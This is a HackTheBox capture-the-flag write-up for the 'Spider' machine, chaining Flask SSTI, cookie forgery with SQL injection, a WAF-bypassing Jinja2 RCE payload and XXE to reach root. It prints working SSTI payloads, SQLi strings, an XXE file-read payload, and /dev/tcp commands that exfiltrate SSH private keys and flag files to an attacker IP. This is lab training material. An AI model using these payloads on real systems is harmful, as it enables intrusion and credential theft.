HTB: Spider Writeup
Spider - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Spider |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.243 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Spider is a hard difficulty Linux machine that chains multiple injection vulnerabilities to achieve root access. The box begins with a Flask-based furniture store vulnerable to Server-Side Template Injection (SSTI), which leaks the application’s SECRET_KEY. This key is used to forge session cookies containing SQL injection payloads, enabling administrative access. A second SSTI vulnerability behind a Web Application Firewall (WAF) provides code execution as user chiv. Privilege escalation involves exploiting an XML External Entity (XXE) injection in a root-owned beta application to extract the root SSH key.
TL;DR: SSTI (Flask config leak) → Forged cookies with SQLi → Admin access → WAF-bypassed SSTI (RCE) → User shell → XXE injection → Root SSH key → Root shell
Reconnaissance
Port Scanning
# Quick port discoverynmap -p- --min-rate=1000 -T4 10.10.10.243
# Detailed service scannmap -sC -sV -p 22,80 10.10.10.243Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu80/tcp open http nginx 1.14.0 (Ubuntu)Service Enumeration
HTTP (Port 80)
The nginx web server on port 80 redirects all requests to http://spider.htb. After adding the hostname to /etc/hosts:
echo "10.10.10.243 spider.htb" | sudo tee -a /etc/hostsThe site presents a furniture store built on Flask. Key endpoints discovered:
/- Main store page/register- User registration (username + password)/login- Login form requiring UUID instead of username/user- User information page displaying username and UUID/main- Admin panel (requires administrative privileges)
Vulnerability Assessment
- SSTI in username field - Registration form accepts template expressions
- Flask session cookies - Signed with
SECRET_KEY, can be forged if key is leaked - SQL injection in session UUID - Database queries vulnerable to injection via forged cookies
- SSTI in support portal - Contact field vulnerable but protected by WAF
- XXE in beta application - Local web service vulnerable to external entity injection
Initial Foothold
SSTI #1: Flask Configuration Leak
The registration form has a 10-character username limit, which constrains SSTI payloads. However, the {{config}} payload fits within this limit and is ideal for leaking Flask application configuration.
# Register with username exactly 10 charactersUsername: {{config}}Password: password123After logging in and visiting /user, the application reflects the entire Flask config object, revealing:
SECRET_KEY: Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942Why this works: Flask’s template engine (Jinja2) evaluates expressions within {{ and }}. The config object is globally available in templates and contains all application configuration, including the secret key used to cryptographically sign session cookies.
Forging Flask Session Cookies
Flask session cookies consist of two base64-encoded parts separated by a period, followed by a signature:
[base64(session_data)].[timestamp].[signature]With the leaked SECRET_KEY, we can forge arbitrary session data:
# Install flask-unsign for cookie manipulationpip3 install flask-unsign
# Decode current cookie to see structureecho -n "eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjhiMWNmM2NkLTE3YjYtNDU1ZC1iMjY5LTUwYzdlZTZhZWIxMyJ9" | base64 -d# Output: {"cart_items":[],"uuid":"8b1cf3cd-17b6-455d-b269-50c7ee6aeb13"}SQL Injection via Forged Cookies
The application displays the logged-in username on the homepage by querying the database using the uuid from the session cookie. This query is vulnerable to SQL injection:
# Test SQLi with ' or 1=1 -- - payloadflask-unsign --sign --cookie '{"cart_items":[],"uuid":"8b1cf3cd-17b6-455d-b269-50c7ee6aeb13'\'' or 1=1 -- -"}' --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'After replacing the browser cookie with this forged value and reloading the page, the username changes to chiv - confirming both the SQL injection and revealing a target user.
Extracting chiv’s UUID via UNION SQLi
To forge a valid session as chiv, we need their UUID. A UNION-based SQL injection can extract this:
# UNION SQLi payload to dump the users table# Payload: ' UNION SELECT uuid,username,password FROM users -- -Since direct UNION injection is cumbersome through manual cookie forging, we can enumerate the database structure. Through trial and error with UNION payloads, we extract:
Username: chivUUID: 129f60ea-30cf-4065-afb9-6be45ad38b73Why this works: The SQL query likely resembles SELECT username FROM users WHERE uuid='[cookie_uuid]'. Our injection closes the string, adds a UNION to select from the users table, and comments out the rest of the query. Flask then signs our malicious session data, making it valid to the application.
Administrative Access
With chiv’s UUID, we forge a clean session cookie:
flask-unsign --sign --cookie '{"cart_items":[],"uuid":"129f60ea-30cf-4065-afb9-6be45ad38b73"}' --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'Replacing our session cookie authenticates us as chiv, granting access to /main (the admin panel).
SSTI #2: WAF Bypass for Remote Code Execution
The admin panel links to an unfinished support portal at /<redacted>.unfinished.supportportal. This form accepts support tickets with a “Contact number or email” field that reflects user input.
Testing SSTI with {{7*7}} triggers a WAF error:
Hmmm, you seem to have hit our WAFThe WAF blocks common SSTI characters and keywords:
- Blocked characters:
_,'," - Blocked keywords:
if,for,macro,call,filter,set - Allowed:
include,request,attr
Bypass technique: Use hex-encoding for underscores and combine {% include %} with attr() filters:
# Payload breakdown:# 1. Get request object → request# 2. Access application object → request.application# 3. Access __globals__ → attr("\x5f\x5fglobals\x5f\x5f")# 4. Get __builtins__ → attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuilt\x69\x6es\x5f\x5f")# 5. Import os → attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")# 6. Execute command → attr("popen")("COMMAND").read()
# Test with sleep (blind RCE confirmation){% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuilt\x69\x6es\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("sleep 6")|attr("read")() %}Submitting this payload causes a 6-second delay, confirming blind RCE as user chiv.
Obtaining User Shell
To avoid WAF keyword blocks in a reverse shell payload, we use /dev/tcp with base64 encoding:
# Start listener on attack boxnc -lnvp 4444
# Exfiltrate SSH key instead of reverse shell for stability# Payload to read /home/chiv/.ssh/id_rsa and send to 10.10.15.180:4444cat /home/chiv/.ssh/id_rsa | bash -c 'exec 3<>/dev/tcp/10.10.15.180/4444; cat >&3'Final SSTI payload in the contact field:
{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuilt\x69\x6es\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("cat /home/chiv/.ssh/id_rsa > /dev/tcp/10.10.15.180/4444")|attr("read")() %}Similarly, exfiltrate user.txt:
# On attack boxnc -lnvp 4444 > user.txt
# SSTI payload{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuilt\x69\x6es\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("cat /home/chiv/user.txt > /dev/tcp/10.10.15.180/4444")|attr("read")() %}After receiving the SSH key:
chmod 600 id_rsassh -i id_rsa chiv@10.10.10.243User flag obtained: <redacted>
Privilege Escalation
Enumeration as chiv
After establishing SSH access, we enumerate running processes:
ps aux | grep rootA root-owned uwsgi process is running a beta application:
root /usr/bin/uwsgi --ini game.iniChecking listening ports:
ss -tulpn | grep LISTENReveals a service on 127.0.0.1:8080 - the beta application is only accessible locally.
Port Forwarding
Forward the remote service to our local machine:
# From attack boxssh -N -L 8888:127.0.0.1:8080 -i id_rsa chiv@10.10.10.243
# Access via browserfirefox http://localhost:8888The beta application presents a login form with no password requirement - any username works.
Analyzing the Beta Application
After logging in, we’re redirected to a shopping cart page with minimal functionality. The session cookie contains interesting data:
# Decode the Flask sessionflask-session-cookie-manager3 decode -c [SESSION_COOKIE]The decoded session reveals a base64-encoded lxml field:
<!-- API Version 1.0.0 --><root> <data> <username>testuser</username> <is_admin>0</is_admin> </data></root>The API version matches a hidden form field in the login page:
<input type="hidden" id="version" name="version" value="1.0.0">Key observation: The version value from the form is reflected in the XML comment, suggesting we can inject XML content.
XXE Injection to Extract Root SSH Key
To break out of the XML comment and inject a Document Type Definition (DTD), we craft a payload that:
- Closes the existing comment with
--> - Defines an external entity pointing to
/root/.ssh/id_rsa - Opens a new comment to consume trailing XML
--><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///root/.ssh/id_rsa'>]><!--We also need to reference the entity. Since the username field is reflected in the application’s response (likely in a “Welcome” message), we set it to &test; to trigger entity resolution.
# Intercept login request and modify POST parametersusername=&test;version=1.0.0 -->%0A<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///root/.ssh/id_rsa'>]><!--Why this works: XML parsers process DTDs before rendering the document. Our external entity instructs the parser to read /root/.ssh/id_rsa and store it in the test entity. When the application processes &test; in the username field and displays it (e.g., “Welcome, [username]”), the entity is resolved and the file contents are returned.
After logging in with this payload, the response at /site displays the root SSH private key in the welcome header:
-----BEGIN RSA PRIVATE KEY-----[root's private key contents]-----END RSA PRIVATE KEY-----Root Access
# Save the keyvim root_id_rsachmod 600 root_id_rsa
# SSH as rootssh -i root_id_rsa root@10.10.10.243Root flag obtained: <redacted>
Attack Chain Summary
Port 80 Enumeration → SSTI ({{config}}) → SECRET_KEY Leak ↓Forged Flask Cookie with SQLi → Extract chiv UUID ↓Admin Access (/main) → Support Portal Discovery ↓WAF-Bypassed SSTI (hex-encoded payloads) → RCE as chiv ↓SSH Key Exfiltration via /dev/tcp → User Shell ↓Local Service Discovery (127.0.0.1:8080) → Port Forward ↓XXE Injection (file:///root/.ssh/id_rsa) → Root SSH Key ↓Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
flask-unsign | Flask session cookie signing and verification |
base64 | Decoding session cookie contents |
ssh | Remote access and port forwarding |
nc | Listening for reverse connections and data exfiltration |
flask-session-cookie-manager | Decoding Flask session data |
Key Learnings
Techniques Practiced
- Server-Side Template Injection (SSTI) in Flask/Jinja2 environments
- Flask session cookie forgery using leaked
SECRET_KEY - SQL injection via session cookies as an alternative attack vector
- WAF bypass techniques using hex-encoding and alternative syntax
- Blind RCE exploitation through time-based confirmation
- Data exfiltration via /dev/tcp when traditional reverse shells are blocked
- XML External Entity (XXE) injection to read arbitrary files
- SSH port forwarding to access internal services
Lessons Learned
-
SSTI in registration forms can leak sensitive config: Even with character limits, payloads like
{{config}}can expose critical secrets like Flask’sSECRET_KEY, enabling session forgery attacks. -
Session cookies are more than authentication tokens: When cookies contain queryable data (like UUIDs), they become injection vectors. Always test cookie parameters for SQLi, XSS, and other injection types.
-
WAF bypasses often require creativity: When common SSTI payloads are blocked, alternative methods exist:
- Hex-encoding (
\x5f\x5ffor__) - Using
attr()filters instead of direct attribute access - Leveraging allowed keywords (
include,request) in non-standard ways
- Hex-encoding (
-
Blind RCE can be verified and exploited: Time-based testing (
sleepcommands) confirms code execution, while creative exfiltration methods (/dev/tcp, DNS queries) extract data without direct output. -
XXE attacks remain effective: Despite being a well-known vulnerability, XXE continues to appear in modern applications, especially beta/development versions with relaxed security controls.
-
Root-owned web services are high-value targets: Applications running as root (via uwsgi, supervisord, etc.) turn any vulnerability into a direct privilege escalation path.
-
Comment injection in XML can break parsing logic: By closing existing comments and injecting DTDs, attackers can hijack XML processing flows even when input appears to be placed in “safe” locations like comments.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew explanatory depth and conceptual understanding from the official HackTheBox writeup for Spider, prepared by polarbearer (Document No D21.100.137). All specific values, commands, and outputs reflect the actual solve performed on the target machine at 10.10.10.243.